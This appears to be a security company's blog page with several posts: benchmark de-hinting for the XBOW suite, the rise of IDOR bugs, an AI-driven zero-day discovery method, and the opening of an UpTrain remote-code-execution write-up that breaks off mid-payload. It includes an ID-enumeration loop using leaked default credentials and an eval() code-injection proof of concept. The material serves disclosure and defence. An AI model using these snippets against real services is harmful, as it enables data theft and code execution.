especially when you consider how difficult it is to get very high reliability out of LLMs. A better benchmark would measure whether the tool is also reporting bugs that are not there. To fix this, instead of having the static analysis tool retrieve a flag, we took the same benchmarks for each of the 25 challenges and added a counterpart that provides a tricky patch. The tool is run on both the patched and unpatched challenges; if it reports a bug on the latter, its score is noted in the false positive section. ## Removing Hints On top of that, since Xbow develops a black-box security testing tool, they naturally don't expect it to have access to the code. This means the benchmark developers were free to include variable names and comments that referred to the problem the AI was supposed to find. Since we wanted to test white box scanners, we had to do our best to remove those 'hints' in order to present a fair comparison with the scanners that don't use LLMS. We also had to modify configuration files like Dockerfiles that a static analysis tool could read in order to understand the problem it was expected to find. XBOW also includes 'challenge hints' that are designed to be consumed by humans or tools hacking the application. For example, in challenge '6', the description says: > A simple SQLi example with an allowlist filter of words to try to prevent exploitation. On the one hand, these directions are common features of CTFs. On the other hand, what these benchmarks are supposed to measure is whether or not your tool can find bugs in the wild, without prompting. Giving 'tips' like this makes a test strictly less representative, and for ZeroPath's purposes, it also provides an unfair advantage to LLMS over legacy tools. So, we removed them entirely from the test; instead the static analysis tool is simply presented with the ## Hints to Dynamic Testers One thing we didn't expect to find when starting to do that was that the hints also leaked into the output of the toy web applications themselves. [For example, XBEN-020-24, an SSRF challenge gives the following index to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-020-24/ssrf-demo-app/index.php), which contains the class of vulnerability in the title: ```html SSRF Demo ...Removed for Brevity... ``` This also extended past conventional technical vulnerabilities and into broken authentication vulnerabilities. [XBEN-069-24](https://github.com/xbow-engineering/validation-benchmarks/tree/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24), a PHP application, labeled as a medium challenge containing an IDOR (and a privilege escalation), [has the word IDOR plastered on every page accessible to the bot](https://github.com/xbow-engineering/validation-benchmarks/blob/a0fe6cf5e01196def7e8bd788d6c5dffa325a8c4/benchmarks/XBEN-069-24/app/website/profile.php#L22): ```html User Profile | IDOR Eats ``` Even in the context of dynamic testing, this gives an AI unfair advantage over traditional tools, making the benchmark an inaccurate representation of the tool's effectiveness in black-box penetration testing. We had removed some obvious symbols, renamed files containing the class of issue (including updating corresponding configuration and docker files), removed the benchmark.json and README file. However, many function names, route names, and variables remained that contained explicit references to vulnerabilities (e.g., routes like '/xss' or '/sqli'). We acknowledge that as an AI-powered SAST tool, ZeroPath could potentially have an advantage in processing these meaningful identifiers compared to traditional SAST tools, and with more time we would have removed them. However, we think this didn't significantly skew the results of our scans because: 1. The key evidence comes from our false positive testing: If ZeroPath was heavily relying on these identifier names to make determinations, we would have seen elevated false positive rates in the patched variants - which contained the same "suspicious" route and function names but with secure implementations. The fact that our false positive rate remained low indicates ZeroPath was doing legitimate semantic analysis of the code rather than being biased by these naming hints. 2. While we recommend future benchmark creators remove these identifiers entirely to create the most rigorous possible test environment, the correlation between names and actual vulnerabilities in real-world code is complex. Developers sometimes use security-related names precisely because they're implementing security controls, making naive reliance on such hints potentially counterproductive. 3. The benchmark results demonstrate ZeroPath's ability to accurately distinguish between vulnerable and secure implementations of the same functionality, even when similarly named. This suggests the core analysis is based on understanding code semantics rather than surface-level naming patterns. ## Final Thoughts Working with the XBOW benchmark brought to light some interesting challenges in evaluating security tools. Benchmarks are great, but they need to reflect the complexities of real-world applications to be truly useful. By removing the embedded hints and introducing false positives, we aimed to create a more realistic testing environment. This leveled the playing field between traditional SAST tools and AI-driven solutions like ZeroPath. We were surprised to find hints leaking into dynamic testing, which showed us how even small details can skew results. It highlighted the importance of careful benchmark design, especially when assessing tools meant for black-box penetration testing. In the end, this experience reinforced the idea that benchmarks need to be thoughtfully crafted to provide meaningful insights. We're excited about the progress and look forward to seeing how these tools continue to evolve in tackling the complexities of modern application security. --- ### Research (6 most recent of 6 total) #### Authorization Bugs Are Having Their SQL Injection Moment - **Date**: July 17, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 12 minutes - **Keywords**: IDOR, Authorization vulnerabilities, Broken access control, Application security, AI security research, GitLab security, McDonald's data breach, OWASP Top 10, API security - **URL**: https://zeropath.com/blog/idor-crisis-2025 GitLab patched critical auth bugs. McDonald's leaked 64M records through a basic IDOR. Authorization bugs aren't new but AI can now find them at scale. We turned LLMs loose on modern codebases and discovered why 2025 is the year IDORs go from manual pentest finding to automated epidemic. --- Last week, [GitLab patched multiple critical authorization vulnerabilities](https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/). Before that, [McDonald's leaked 64 million job applications](https://ian.sh/mcdonalds) through a basic IDOR. Here's what's actually interesting: We've been using LLMs to analyze codebases for auth bugs since July 2024, and they're finding them everywhere. Not because these bugs are new - they've always been there. But because for the first time, we can find them programmatically. Let me show you what we found. ## Why Authorization Bugs Have Always Been Different Remember 2010? SQL injection was everywhere. Every pentest ended with a dumped database. Then frameworks evolved, parameterized queries became standard, and SQLi dropped from #1 to #3 in the OWASP Top 10. [Bobby Tables](https://xkcd.com/327/) became a meme, not the epidemic it once was. Authorization bugs never got their Bobby Tables moment. They've been OWASP's #1 vulnerability for years because they resist the kind of fix that killed SQLi. You can't just parameterize them away. [OWASP's data shows 94% of applications have broken access control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/). Unlike SQL injection, which dropped from #1 to #3, authorization bugs have stubbornly remained at the top. Why? Because every authorization check is unique to your business logic: ```txt SQL Injection: Same fix everywhere (parameterized queries) XSS: Same fix everywhere (output encoding) Authorization: Different logic for every single endpoint ``` Since July 2024, we've been systematically testing how well AI can identify these logic flaws: ```txt Our Public Vulnerability Disclosures: • Authorization/Access Control Flaws: 53% of critical vulnerabilities • Traditional SAST Detection Rate: Near zero • Time to Find Manually: 2 to 4 hours per endpoint • Time to Find with LLMs: Minutes ``` ## The Breaches Are Real Authorization failures happen constantly: **[GitLab, July 9, 2025](https://about.gitlab.com/releases/2025/07/09/patch-release-gitlab-18-1-2-released/):** • Multiple authorization bypasses ([CVE-2025-4972](https://nvd.nist.gov/vuln/detail/CVE-2025-4972), [CVE-2025-6168](https://nvd.nist.gov/vuln/detail/CVE-2025-6168), [CVE-2025-3396](https://nvd.nist.gov/vuln/detail/CVE-2025-3396)) • Users could bypass group-level restrictions on invitations and forking • High-severity 2FA bypass ([CVE-2025-0605](https://nvd.nist.gov/vuln/detail/CVE-2025-0605)) • Stock impact: While some reports linked a stock decline to these vulnerabilities, correlation isn't causation **[McDonald's, early July 2025](https://ian.sh/mcdonalds):** • Job portal accepted `123456:123456` as valid credentials • `PUT /api/lead/cem-xhr` endpoint exposed candidate data via `lead_id` parameter • Test applicant ID was ~64,185,742; decrementing revealed other applicants' PII • Result: 64 million job applications exposed **[pcTattletale, 2024](https://www.malwarebytes.com/blog/news/2024/05/pctattletale-spyware-leaks-database-containing-victim-screenshots-gets-website-defaced):** • Spyware company's own medicine • `/getScreen.php?device={id}` with no auth whatsoever • Result: 17TB of victim screenshots leaked **[Assam Power Distribution, 2024](https://infosecwriteups.com/idor-account-takeover-how-i-secured-personal-information-pii-of-5-17m-electricity-consumers-a9db5e4999b9):** • Endpoint: `/fetchConsumer?mobile_no={number}` • 5.17 million electricity customers exposed • Found by a security researcher on a lazy Sunday Here's a sample of confirmed vulnerabilities we've reported after AI-assisted analysis (many more remain under responsible disclosure): | Date | Project | Vulnerability | Impact | |------|---------|---------------|---------| | Jan 22, 2025 | **SuperAGI** | File download endpoint with no ownership check | Any authenticated user could download ANY file in the system | | Sep 2, 2024 | **[RAGFlow](https://github.com/infiniflow/ragflow/security/advisories)** | 8 separate IDOR vulnerabilities | Delete anyone's conversations, access private knowledge bases, remove API keys | | Sep 20, 2024 | **[Monaco (Hulu)](https://github.com/hulu/monaco)** | Unauthorized Redis access | Access to ALL Redis clusters administered by Monaco | | Sep 3, 2024 | **[E2nest (Netflix)](https://github.com/Netflix/e2nest)** | Path traversal in model loading | Arbitrary file read via config manipulation | | Oct 1, 2024 | **[LogAI (Salesforce)](https://github.com/salesforce/logai)** | Directory traversal via log paths | Access to sensitive system files | Every single one of these boiled down to the same pattern: ```python # What they wrote: def get_resource(id): return Resource.query.get(id) # What they needed: def get_resource(id, user): return Resource.query.filter_by(id=id, owner_id=user.id).first_or_404() ``` One. Freaking. Line. ## The McDonald's Breach Was Embarrassingly Simple The [McDonald's leak](https://ian.sh/mcdonalds) is a masterclass in how not to build an API: 1. **The Setup**: Job application portal, millions of users 2. **The Bug**: `PUT /api/lead/cem-xhr` with `lead_id` parameter, no ownership validation 3. **The Auth**: Hardcoded `123456:123456` (yes, really) 4. **The Discovery**: Test applicant had ID ~64,185,742. Decrementing revealed other applicants' PII 5. **The Impact**: 64 million applications exposed The exploit was trivial: ```python for lead_id in range(64185742, 0, -1): data = requests.put("/api/lead/cem-xhr", json={"lead_id": lead_id}, auth=("123456", "123456")) save_to_db(data.json()) ``` McDonald's probably ran security scans. They might have even had pentests. But traditional tools can't understand that `lead_id` should be bound to the authenticated user. An LLM would have caught this in seconds. ## What Actually Changed: LLMs Can Find These Bugs Manual testing for auth bugs is tedious. Check endpoint, change ID, see if it works. Repeat hundreds of times. Last year we tried something different. We fed a codebase to an LLM with this prompt: "Find places where user A can access user B's data." It found 8 vulnerabilities in 20 minutes. All confirmed, all patched. Traditional SAST tools can't find these. They pattern-match for SQL injection (user input + string concatenation) but they can't understand that `get_document(id)` needs ownership checks. That requires understanding intent. Traditional SAST tools can't find these. They pattern-match for SQL injection (user input + string concatenation) but they can't understand that `get_document(id)` needs ownership checks. That requires understanding intent. LLMs understand intent. They read code like developers do. They see `download_file_by_id` and recognize it probably needs authorization. They trace through middleware and spot the missing checks. [Our research demonstrates LLMs excel at finding these vulnerabilities](https://zeropath.com/blog/0day-discoveries): **SuperAGI**: File download endpoint took any file ID without checking ownership. The LLM identified it immediately by understanding that "download_file" functions require authorization. **RAGFlow**: Eight auth bypasses in one codebase. The AI traced data flow across multiple files and found every single one. **Monaco/Hulu**: AI determined Redis cluster access should be scoped to user permissions, even without explicit security annotations in the code. The pattern was always the same: developers assumed the frontend would hide unauthorized options. They didn't. ## Why This Is About to Get Worse Three things happening at once: **1. Explosion of Attack Surface** A 2005 web app might have had 20 endpoints. Modern apps expose hundreds or thousands. Each one needs correct authorization. The probability of mistakes has grown exponentially. **2. Microservice Boundaries Multiply Risk** Services trust each other by default. When Service A calls Service B, does B verify the request? Usually not. Each service boundary becomes a potential IDOR. A monolith might have had 5 trust boundaries; a microservice architecture might have 50. **3. Discovery Is Now Automated** What changes everything is that both defenders and attackers can now use AI to find these bugs systematically. Manual testing that took weeks now takes hours. The economics have shifted dramatically. The McDonald's breach required someone to notice an endpoint and try changing IDs. But an AI can analyze every endpoint in your codebase, understand the access control requirements, and identify violations - all in the time it takes to run your test suite. ## How to Fix This You can't fix auth bugs like SQL injection because they're logic bugs. But you can make them harder to introduce: **Architecture patterns that work:** • Row-level security in your database • Centralized auth services like [Zanzibar](https://research.google/pubs/pub48190/) • Default-deny middleware • Use UUIDs instead of sequential IDs **The one-liner everyone needs:** ```python # Make this mandatory in your framework @require_ownership # Not optional def get_resource(id, current_user): return Resource.get_for_user(id, current_user) ``` The best defense? Run an LLM on your own code before someone else does. ## What Happens Next Authorization bugs have been around forever. They're OWASP #1 for a reason. What's different now is that anyone with API access can point an LLM at a codebase and find the same bugs that used to take security researchers days to discover manually. The McDonald's breach happened because someone manually decremented an ID and found 64 million records. Imagine what happens when thousands of people start running LLMs against every API they can find. The scale is about to change dramatically. --- ## The Numbers **What we found:** • 53% of the critical vulns we reported were auth bugs • Traditional SAST tools found approximately zero of them • Manual testing: 2 to 4 hours per endpoint • LLM analysis: ~40 minutes for an entire codebase **Industry stats:** • OWASP says 94% of apps have broken access control • It's been #1 for years, not getting better Check out our [full analysis of finding 20+ zero-days with AI](https://zeropath.com/blog/0day-discoveries) for technical details. The combination of auth bugs, AI discovery tools, and exponential API growth creates an unprecedented security challenge. --- #### Autonomous Discovery of Critical Zero-Days - **Date**: October 29, 2024 - **Authors**: Raphael Karger - **Reading Time**: 15 minutes - **Keywords**: SAST, 0days, Vulnerability Research, ZeroPath - **URL**: https://zeropath.com/blog/0day-discoveries Since July 2024, ZeroPath's tool has uncovered critical zero-day vulnerabilities—including RCE, authentication bypasses, and IDORs—in popular AI platforms and open-source projects. Our approach has identified security flaws in projects owned by Netflix, Salesforce, and Hulu. --- AI-driven 0-day detection is here. AI-assisted security research has been quietly advancing since early 2023, when AIxCC researchers demonstrated the first practical applications of LLM-powered vulnerability detection in AI systems. Modern LLMs have been used to improve the accuracy of detections of existing classes of web issues (XSS, SQLi, CSRF) and find business logic and authentication problems that were previously undetectable by SAST. So what does this mean in terms of AIs' ability to do unsupervised security research? Since July 2024, ZeroPath is taking a novel approach combining deep program analysis with adversarial AI agents for validation. Our methodology has uncovered numerous critical vulnerabilities in production systems, including several that traditional Static Application Security Testing (SAST) tools were ill-equipped to find. This post provides a technical deep-dive into our research methodology and a living summary of the bugs found in popular open-source tools. --- ## Summary of Vulnerabilities Discovered **Note:** This list represents only a portion of our findings. Many vulnerabilities remain undisclosed due to ongoing remediation efforts or pending responsible disclosure processes. We will update this list as new issues are disclosed over the next few months. | Date         | Project                   | Vulnerability                        | Technical Impact                                        | Root Cause                                    | CVE/Reference | |--------------|---------------------------|--------------------------------------|---------------------------------------------------------|-----------------------------------------------|---------------| | Jul 21, 2024 | **Fonoster Voice Server** | Local File Inclusion                 | Access to system files via voice file paths             | Incomplete path validation                    | CVE-2024-43035 | | Jul 22, 2024 | **Uptrain** | Remote Code Execution                | Arbitrary code execution via eval     | RCE during project creation            | Pending Assignment | | Aug 22, 2024 | **LibrePhotos** | File Upload + Path Traversal         | Arbitrary file write via photo upload                   | Insufficient path sanitization                | Pending Assignment | | Aug 22, 2024 | **Clone-Voice** | Command Injection                    | System command execution via voice file metadata        | Unescaped input in ffmpeg command             | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Conversation Deletion   | Complete deletion of other users' chat history          | Missing object-level authorization checks     | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Canvas Deletion         | Deletion of other users' visualization canvases         | Insufficient IDOR protection on API endpoint  | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Knowledge Base Access   | Read access to other users' private knowledge bases     | Missing tenant isolation in KB queries        | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized File Movement           | Moving/deleting other users' uploaded files             | Missing ACL checks in file operations         | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Conversation Access     | Reading other users' private conversations              | Broken access control in chat retrieval       | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized API Key Removal         | Removal of other users' API keys                        | IDOR in key management endpoint               | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Knowledge Base Enumeration | Enumeration of all private knowledge bases          | Missing authentication in list endpoint       | Pending Assignment | | Sep 2, 2024  | **RAGFlow** | Unauthorized Dialog Deletion         | Mass deletion of other users' dialogs                   | Race condition in deletion endpoint           | Pending Assignment | | Sep 3, 2024  | **E2nest (Netflix)** | Local File Inclusion                 | Arbitrary file read via path traversal in model loading | Insufficient path normalization in config loading | CVE-2024-9301 | | Sep 5, 2024  | **LibrePhotos** | Unauthorized Access to User Jobs     | Access to other users' processing jobs                  | Missing authorization in job queue            | Pending Assignment | | Sep 5, 2024  | **LibrePhotos** | Token Refresh Authentication Bypass  | Complete authentication bypass                          | Improper token validation                     | Pending Assignment | | Sep 20, 2024 | **Monaco (Hulu)** | Remote Code Execution                | Code execution via deserialization                      | Unsanitized data being passed into pickle.loads | CVE-2024-48946 | | Sep 20, 2024 | **Monaco (Hulu)** | Unauthorized Redis Access            | Access to all Redis clusters administered by Monaco     | Missing authentication in app_redis_api endpoint | Pending Assignment | | Oct 1, 2024  | **LogAI (Salesforce)** | Directory Traversal                  | Access to sensitive files via log paths                 | Broken path traversal protection              | Pending Assignment | | Oct 24, 2024  | **DB-GPT** | Directory Traversal                  | Access to database files via backup paths               | Missing path normalization                    | Pending Assignment | For comprehensive technical analyses of some these vulnerabilities, please refer to our write-ups: - **Uptrain RCE:** [Project Creation to RCE](https://zeropath.com/blog/uptrain-rce-vulnerability-analysis) - **Clone-Voice Command Injection:** [From Voice Processing to Shell Access](https://zeropath.com/blog/command-injection-vulnerability-clone-voice) - **Fonoster Voice Server LFI:** [Breaking Audio File Boundaries](https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability) - **LibrePhotos Arbitrary File Upload:** [From Upload to RCE](https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability) --- ## Vulnerability Distribution ```mermaid pie title Vulnerability Types "Authorization Flaws (53%)" : 10 "Directory Traversal/LFI (21%)" : 4 "Remote Code Execution (11%)" : 2 "File Upload Issues (5%)" : 1 "Authentication Bypass (5%)" : 1 "Command Injection (5%)" : 1 ``` #### 1. Authorization Flaws - **Prevalence:** 53% of the vulnerabilities (10 instances) - **Common Issues:** - Missing object-level access controls - Insufficient tenant isolation - Broken access control in API endpoints - IDOR vulnerabilities in resource management - Unauthorized Redis access and configuration exposure - **Impact:** Unauthorized access, data leakage, and resource manipulation across tenant boundaries. - **Examples:** - RAGFlow's multiple IDOR vulnerabilities allow manipulation of conversations, canvases, knowledge bases, and API keys belonging to other users - Unauthorized access to Redis instances due to missing access controls #### 2. File Operation Issues - **Prevalence:** 26% of the vulnerabilities (5 instances) - **Common Issues:** - Directory traversal in configuration loading - Local file inclusion via path manipulation - Unsafe file handling in upload features - Insufficient path validation and normalization - **Impact:** Unauthorized file access, sensitive data exposure, and potential system compromise. - **Examples:** - E2nest's LFI via model path traversal (CVE-2024-9301) - DB-GPT's directory traversal in backup paths - LogAI's broken path traversal protection #### 3. Code Execution Vulnerabilities - **Prevalence:** 16% of the vulnerabilities (3 instances) - **Common Issues:** - Unsafe pickle deserialization - Command injection in file processing - Unsanitized input in system commands - **Impact:** Remote code execution, system command execution, and potential full system compromise. - **Examples:** - Monaco's RCE via pickle deserialization (CVE-2024-48946) - Clone-Voice's command injection via ffmpeg metadata - Uptrain's RCE via project creation --- ## Our Technical Methodology TL;DR - most of these bugs are simple and could have been found with a code review from a security researcher or, in some cases, scanners. The historical issue, however, with automating the discovery of these bugs is that traditional SAST tools often rely on pattern matching and predefined rules, which can miss complex vulnerabilities that do not fit known patterns (i.e. business logic / broken authentication flaws or non-traditional sinks such as from dependencies). They also tend to generate a high rate of false positives, overwhelming security teams and reducing efficiency. The beauty of LLMs is that they can reduce ambiguity in most of the situations that previously caused scanners to be either unusable or produce few findings when mass-scanning open source repositories like this. For instance, you can prevent: - Alerting on test code - Alerting on CLI only administrators would have access to - Alerting on injection bugs whose "sinks" (i.e. injection sources) aren't able to be controlled by attackers in practice - Alerting on injection bugs that include controls that make an attack possible (for instance, limiting the input to valid UUIDs) To do this well, we combine deep program analysis with an adversarial agents that test the plausibility of vulnerabilties at each step. The solution ends up mirroring the traditional phases of a pentest - recon, analysis, exploitation (and remediation which is not mentioned in this post). *Note: Most sections have been adopted from our [how it works](https://zeropath.com/blog/how-zeropath-works) post, for more information about patching and remediation please refer to it.* ### Stage 1: Application Identification ZeroPath starts by using AI agents to investigate what applications are inside a repository and gather some basic data about how they work. This step is crucial when dealing with mono-repositories or repositories containing multiple services, as often happens with microservice architectures. Specifically, we: 1. Identify directory boundaries for each application 2. Generate application descriptions and metadata, noting details like the auth procedure and tech stack 3. Collect additional contextual information helpful for subsequent analysis stages This process helps ensure that ZeroPath has enough information about the apps to discriminate between relevant and irrelevant security issues. ### Stage 2: AST Generation and Indexing To illustrate the following steps, we will be using a [basic Django application](https://gist.github.com/r0path/dfb9c5657fc8b8d7c25b33d9cfcc6a26) that provides fundamental functionality for: 1. User management (creating and listing users) 2. Content management (creating and listing posts) 3. User authentication (login and logout capabilities) Below is an example of the method to retrieve users from the application: ```python class UserViewSet(View): def get(self, request): users = User.objects.all() return render(request, 'user_list.html', {'users': users}) ``` That's how it's represented as plain text, but as with most languages this is broken down into an intermediate representation before compilation. Using tree-sitter we can convert the method definition into an AST that has standard names for things like "function\_definition", "body", and etc.: ```lisp (function_definition name: (identifier) ; get parameters: (parameters (identifier) ; self (identifier)) ; request body: (block (expression_statement (assignment left: (identifier) ; users right: (call function: (attribute object: (attribute object: (identifier) ; User attribute: (identifier)) ; objects attribute: (identifier)) ; all arguments: (argument_list)))) (return_statement (call function: (identifier) ; render arguments: (argument_list (identifier) ; request (string) ; 'user_list.html' (dictionary (pair key: (string) ; 'users' value: (identifier)))))))) ; users ``` This AST representation breaks down the `get_users` function, showing its structure, parameters, and the operations it performs. Each node in the tree is represented by parentheses, with the node type followed by its children. Leaf nodes (like identifiers and strings) are represented directly. Comments after semicolons provide additional information or clarification about the nodes. This format allows for a detailed, hierarchical view of the code structure, making it easier to analyze. In particular, from the AST we create a **call graph**, which is a map of the program's function invocations. The call graph facilitates navigation through the codebase during vulnerability analysis, and also provides a comprehensive summary of the application's structure and behavior. This holistic understanding is key to our tool's ability to detect complex, context-dependent vulnerabilities, and it looks something like this: ```mermaid graph TD A[WSGI Handler: process_request] --> B[URL Dispatcher: resolve] B --> C1[UserViewSet: dispatch] B --> C2[PostViewSet: dispatch] B --> C3[LoginView: dispatch] B --> C4[LogoutView: dispatch] C1 --> D1[UserViewSet: list] C1 --> D2[UserViewSet: create] C2 --> D3[PostViewSet: list] C2 --> D4[PostViewSet: create] C3 --> D5[LoginView: post] C4 --> D6[LogoutView: post] D1 & D2 --> E1[User.objects.all/create] D3 & D4 --> E2[Post.objects.all/create] D5 --> E3[authenticate] D5 --> E4[login] D6 --> E5[logout] D1 & D3 --> F1[render] D2 & D4 --> F2[render] F1 & F2 --> G[context_processor] D1 & D2 & D3 & D4 & D5 & D6 --> H[HttpResponse] ``` ### Stage 3: Graph Enrichment After generating the AST, we enrich the graph with contextual information by identifying features like endpoints (exposed functions or URLs that can be accessed externally) and assigning attributes to each node. These attributes can be details such as request paths, HTTP methods, and authentication and authorization mechanisms. For example, a node representing a login function might be enriched with attributes indicating it accepts POST requests, and implements rate limiting. A key aspect of this enrichment is recognizing how middleware and other security controls are implemented across the application. This process transforms the basic AST into a more comprehensive representation of the application's structure and behavior. While the initial AST shows the structure of individual functions, this enriched call graph demonstrates how these functions interact and what security measures are in place throughout the application flow. ```mermaid graph TD A[Django WSGI Handler] -->|Process Request| B[URL Dispatcher] %% Middleware Chain A -->|Pre-process| M1[Security Middleware] M1 -->|HTTPS Redirect| M2[Session Middleware] M2 -->|Manage Sessions| M3[Authentication Middleware] M3 -->|Authenticate User| M4[CSRF Protection Middleware] M4 -->|CSRF Validation| B %% URL Patterns and Views B -->|/api/users/| C1[UserViewSet] B -->|/api/posts/| C2[PostViewSet] B -->|/auth/login/| C3[LoginView] B -->|/auth/logout/| C4[LogoutView] %% View Methods C1 -->|GET| D1[List Users] C1 -->|POST| D2[Create User] C2 -->|GET| D3[List Posts] C2 -->|POST| D4[Create Post] C3 -->|POST| D5[Authenticate User] C4 -->|POST| D6[End Session] %% Database Interactions D1 & D2 -->|Query/Update| E1[User Model] D3 & D4 -->|Query/Update| E2[Post Model] E1 & E2 -->|ORM| F[Database] %% Template Rendering D1 & D3 -->|Render| G1[List Template] D2 & D4 -->|Render| G2[Detail Template] G1 & G2 -->|Apply| H[Context Processors] %% Static Files and Caching I[Static File Handler] -->|Serve| J[Static Files] K[Cache Middleware] -->|Cache Responses| A %% Response Flow D1 & D2 & D3 & D4 & D5 & D6 -->|Generate Response| L[Response Object] L -->|Process Response| M4 M4 -->|Process Response| M3 M3 -->|Process Response| M2 M2 -->|Process Response| M1 M1 -->|Process Response| A %% Authentication Flow D5 -->|Success| N[Create Session] D5 -->|Failure| O[Error Response] D6 -->|Logout| P[Delete Session] classDef middleware fill:#f9f,stroke:#333,stroke-width:2px; class M1,M2,M3,M4,I,K middleware; ``` ### Stage 4: Vulnerability Discovery and Validation Finally we get to the most important part, using the call graph to discover vulnerabilities. In our application security analysis, vulnerabilities are bucketed into three main types: 1. **Technical Vulnerabilities**: These encompass implementation-specific security flaws such as SQL Injection (SQLI), XML external entity (XXE) injection, Cross-site Scripting (XSS), Cross-site Request Forgery (CSRF), Leaking of secrets, and Server-side Request Forgery (SSRF). 2. **Business Logic Flaws**: These vulnerabilities arise from flaws in the application's logic. Examples include: - Price manipulation in e-commerce systems - Exploitation of coupon systems leading to incorrect pricing - Bypassing intended workflow sequences - Lack of rate limiting especially when interacting with external APIs (leading to excessive charges from providers) 3. **Authentication/Authorization Issues**: These stem from improper implementation of user authentication or access control mechanisms. Common subtypes include: - Insecure Direct Object Reference (IDOR) - Missing Function Level Access Control - Broken Session Management Each category requires distinct analysis techniques. Technical vulnerabilities often involve pattern matching and taint analysis, business logic flaws require understanding of intended application behavior, and authentication/authorization issues necessitate comprehensive flow analysis of user sessions and permissions. Some ways we find these bugs: * Static Rules: ZeroPath has a large set of static rules that detail vulnerable code patterns, which are then used to semantically search if a given codebase uses them. Using this we are able to detect many existing classes of issues. * Threat Modeling: Having ZeroPath comes up with attack scenario and verifies them by performing rigorous investigations of the code. * Software Composition Analysis (SCA): ZeroPath actively monitors dependencies used within the application for known vulnerabilities, and see if these dependencies' problems are exploitable from the outside. * Secret Scanning and Validation: ZeroPath also scans for secrets and performs validation on the secrets to ensure that they're valid and provides information about each discovered secret to help quickly rotate and enforce best practices. Our methodology for investigating business logic flaws and broken authentication vulnerabilities combines two AI techniques: [Tree-of-Thoughts (ToT)](https://arxiv.org/abs/2305.10601) and an adaptation of the [ReAct framework](https://arxiv.org/abs/2210.03629). ToT enables multi-path reasoning, intermediate step evaluation, and outcome ranking. This improves our ability to explore complex vulnerability scenarios. The ReAct-inspired component enforces structured tool usage with explicit action justification, enhancing the rigor of our investigative process. By integrating these techniques, we've developed a framework that allows for comprehensive vulnerability assessment. ToT facilitates thorough scenario exploration, while the ReAct adaptation ensures methodical tool application. This approach has proven particularly effective in addressing the nuanced challenges presented by business logic and authentication vulnerabilities. To further enhance our validation process and ensure the exploitability of identified vulnerabilities, ZeroPath employs a Monte Carlo Tree Self-refine (MCTSr) algorithm. This approach, inspired by recent advancements in AI problem-solving, allows us to efficiently explore and verify complex technical attack vectors. #### Monte Carlo Tree Self-Refine (MCTSr) Our MCTSr implementation builds upon research from Shanghai Artificial Intelligence Laboratory, Fudan University, and collaborating institutions. Their [work](https://arxiv.org/abs/2406.07394) on solving International Mathematical Olympiad problems using Monte Carlo Tree Search and self-refinement techniques provided a foundation that we've adapted for cybersecurity applications. We've modified this approach to navigate the decision trees involved in verifying security vulnerabilities, allowing both for more efficient exploration of potential attack vectors and fewer false positives. The most important part of using MCTSr is defining a "win function". As a static analysis tool, our win function is implemented by an LLM that determines the chances that a hypothesized attack could work, and the severity of the problem. The particular verification agent we use is different for problems like SSTI, SQLi, XSS, and business logic issues. Generally, an agent is designed to pull in relevant information from previous stages, and consider all of the controls that could make an attack impractical. If the LLM investigator determines that a given attack is above a given practicality threshold, it's sent for the next stage, which is patch generation and tweaking. ## Conclusion AI-driven vulnerability detection is moving fast. While some are just now jumping into this field, it's been developing for a while. Since July 2024, we've been exploring how deep program analysis combined with adversarial AI agents can uncover critical bugs that might be overlooked by traditional tools. What's intriguing is that many of these vulnerabilities are pretty straightforward—they could've been spotted with a solid code review or standard scanning tools. But conventional methods often miss them because they don't fit neatly into known patterns. That's where AI comes in, helping us catch issues that might slip through the cracks. --- #### Critical RCE Vulnerability in UpTrain - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik - **Reading Time**: 10 minutes - **Keywords**: UpTrain, RCE, vulnerability, cybersecurity, CSRF, open-source, AI, ZeroPath - **URL**: https://zeropath.com/blog/uptrain-rce-vulnerability-analysis ZeroPath researchers uncover a critical Remote Code Execution (RCE) vulnerability in UpTrain, a popular open-source AI platform. --- # Critical RCE Vulnerability in UpTrain *By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath* ZeroPath security researchers discovered a critical Remote Code Execution (RCE) vulnerability in [UpTrain](https://github.com/uptrain-ai/uptrain), a popular open-source platform for evaluating, experimenting, monitoring, and testing of LLM applications. This vulnerability, when chained with a Cross-Site Request Forgery (CSRF) attack, allows malicious actors to execute arbitrary code on UpTrain instances, even when running locally. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-rce-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details ZeroPath's vulnerability scanner initially flagged a concerning pattern in the UpTrain codebase as a valid vulnerability. Specifically, it highlighted the use of Python's `eval()` function in conjunction with user-supplied input. Further investigation revealed that the vulnerability was present in several routes within the `uptrain/dashboard/backend/app.py` file. The `/create_project`, `/new_run`, and `/add_prompts` routes were identified as vulnerable. Here's the vulnerable code snippet for the `/create_project` route: ```python @router_public.post("/create_project") async def create_project( model: str = Form(...), project_name: str = Form(...), dataset_name: str = Form(...), checks: list = Form(...), data_file: UploadFile = File(...), metadata: str = Form(...), user_id: str = Depends(validate_api_key_public), db: Session = Depends(get_db), fsspec_fs: t.Any = Depends(get_fsspec_fs), ): # ... checks = eval(checks[0]) checks_1 = [] metadata = eval(metadata) for check in checks: if check in metadata: final_check = checks_mapping(check, metadata[check]) else: final_check = checks_mapping(check) if final_check is not None: checks_1.append(final_check) # ... ``` The core issue lies in the direct use of `eval()` on user-supplied form data, specifically `checks` and `metadata`. This allows an attacker to craft a payload that, when evaluated, executes malicious code on the server. To demonstrate the vulnerability, we created a payload and proof of concept script for the `/create_project` endpoint. For this example, we'll use a payload that creates a file named `zeropath` in the `/tmp` directory: ```python payload = "__import__('os').system('touch 